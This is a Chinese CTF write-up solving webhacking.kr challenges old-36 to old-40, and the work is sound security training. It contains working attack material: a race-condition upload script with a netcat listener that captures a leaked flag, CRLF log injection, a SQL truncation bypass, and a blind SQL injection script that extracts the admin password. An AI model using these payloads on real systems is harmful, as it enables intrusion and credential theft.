webhacking.kr 一天五題系列 VIII
Albert Huang
MED student | CS enthusiast
old-36
題目如下所示:
1 2
| While editing index.php file using vi editor in the current directory, a power outage caused the source code to disappear. Please help me recover.
|
他說他在使用 vi 時因為電源中斷退出了,因此目錄中應該會存在 .<filename>.swp 檔案,試了一下果然下載到檔案了, strings 一下就可以找到 flag。
old-37
本題考點:檔名覆蓋、Race Condition、SSRF、GCP 公網接收請求
題目給了一個上傳檔案的地方,看一下 source code:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
| <?php include "../../config.php"; if($_GET['view_source']) view_source(); ?><html> <head> <title>Challenge 37</title> </head> <body> <?php $db = dbconnect(); $query = "select flag from challenge where idx=37"; $flag = mysqli_fetch_array(mysqli_query($db,$query))['flag']; $time = time();
$p = fopen("./tmp/tmp-{$time}","w"); fwrite($p,"127.0.0.1"); fclose($p);
$file_nm = $_FILES['upfile']['name']; $file_nm = str_replace("<","",$file_nm); $file_nm = str_replace(">","",$file_nm); $file_nm = str_replace(".","",$file_nm); $file_nm = str_replace("/","",$file_nm); $file_nm = str_replace(" ","",$file_nm);
if($file_nm){ $p = fopen("./tmp/{$file_nm}","w"); fwrite($p,$_SERVER['REMOTE_ADDR']); fclose($p); }
echo "<pre>"; $dirList = scandir("./tmp"); for($i=0;$i<=count($dirList);$i++){ echo "{$dirList[$i]}\n"; } echo "</pre>";
$host = file_get_contents("tmp/tmp-{$time}");
$request = "GET /?{$flag} HTTP/1.0\r\n"; $request .= "Host: {$host}\r\n"; $request .= "\r\n";
$socket = fsockopen($host,7777,$errstr,$errno,1); fputs($socket,$request); fclose($socket);
if(count($dirList) > 20) system("rm -rf ./tmp/*"); ?> <form method=post enctype="multipart/form-data" action=index.php> <input type=file name=upfile><input type=submit> </form> <a href=./?view_source=1>view-source</a> </body> </html>
|
首先系統會創建一個 tmp-{$time} 檔案,並且寫入 127.0.0.1,接著看你上傳的文件,把 filename 的 <>./ 五種字元移除後,在裡面寫入目前的 IP,並且最後會抓取tmp-{$time} 檔案,把 flag 送到那個檔案的 GET 參數中。
因此想法就是,把自己上傳的檔案叫做 tmp-{$time},就可以冒充成原本的檔案來收 flag。
用 Python 實作上傳檔案,並且使用 GCP 執行:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| import requests import time import os
os.system("nc -nlvp 7777 &")
for i in range(3): filename = f'tmp-{int(time.time()+i)}' with open(filename, "wb") as f: f.write(b'nothing important')
cookie = {"PHPSESSID": "p2ls7us8hd4eh5u81hkvuq7j8c"} upload_file = {'upfile': open(filename, "rb")} r = requests.post('https://webhacking.kr/challenge/web-18/', files=upload_file, cookies=cookie)
|
執行後即可拿到 flag。
old-38
本題考點:CRLF Injection in Flat-file Logging
題目給了一個登入頁面,但直接輸入 admin 會顯示 you are not admin,我們來看一下 source code,看到下面這一行:
到 admin.php 看一下會發現它將 <my_ip>:<login> 拼接,但我們不能直接打 admin 到登入裡,不過它的紀錄是一行一行記,所以如果我們換行到下一行就不受這個限制了,稱為 CRLF Injection。
可以用 BurpSuite 完成:
1 2
| id=M3t30r\r\n <my_ip>:admin
|
或者直接把 input 改為 textarea 也可以有同樣的效果,比較方便。
old-39
題目給了一個輸入頁面,來看一下 source code:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| <?php include "../../config.php"; if($_GET['view_source']) view_source(); ?><html> <head> <title>Chellenge 39</title> </head> <body> <?php $db = dbconnect(); if($_POST['id']){ $_POST['id'] = str_replace("\\","",$_POST['id']); $_POST['id'] = str_replace("'","''",$_POST['id']); $_POST['id'] = substr($_POST['id'],0,15); $result = mysqli_fetch_array(mysqli_query($db,"select 1 from member where length(id)<14 and id='{$_POST['id']}")); if($result[0] == 1){ solve(39); } } ?> <form method=post action=index.php> <input type=text name=id maxlength=15 size=30> <input type=submit> </form> <a href=?view_source=1>view-source</a> </body> </html>
|
可以發現它的查詢 id 缺少了一個 ' 閉合,因此預設情況下會查詢失敗,而我們自己加入 ' 則會被取代為 '',但可以發現它後面做了一次字串切割,長度 15 之後的字串會被刪除,因此我們可以在第 15 位加入 ',這樣就算被取代為 '' 還是可以利用字串切割來繞過。此外 MySQL 預設會忽略尾隨空格,因此可以利用空白補足。
構造以下表達式:
1
| select 1 from member where length(id)<14 and id='admin '
|
old-40
題目給了一個登入頁面,正常登入會顯示 Success - guest,來嘗試一下在 no 欄位注入 SQL expression:
1 2
| 1&&2=2#:Success - guest 1&&1=2#:Failure
|
因此可以嘗試用注入來拿到資料庫的內容。
再嘗試用 -1||id='admin'# 但失敗了,用 16 進位版本的 -1||id=0x61646d696e# 則成功拿到一個可以輸入 admin 密碼的地方,因此嘗試用這個方式來進行密碼破解。
使用 Python 實作:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| import requests import string
def get_length(exp): length = 0 while True: payload = f"LENGTH(({exp}))={length}" params = {'no': f'-1||(id=0x61646d696e&&{payload})#', 'id': 'guest', 'pw': 'guest'} r = requests.get('https://webhacking.kr/challenge/web-29/', params=params) if 'admin password' in r.text: return length length += 1
def get_password(exp, length): password = '' for i in range(1, length+1): for char in string.printable: payload = f"SUBSTR(({exp}),{i},1)={hex(ord(char))}" params = {'no': f'-1||(id=0x61646d696e&&{payload})#', 'id': 'guest', 'pw': 'guest'} r = requests.get('https://webhacking.kr/challenge/web-29/', params=params) if 'admin password' in r.text: password += char print(password) break return password
password_length = get_length('pw') password = get_password('pw', password_length)
|
拿到 password 之後輸入 admin password 頁面即可。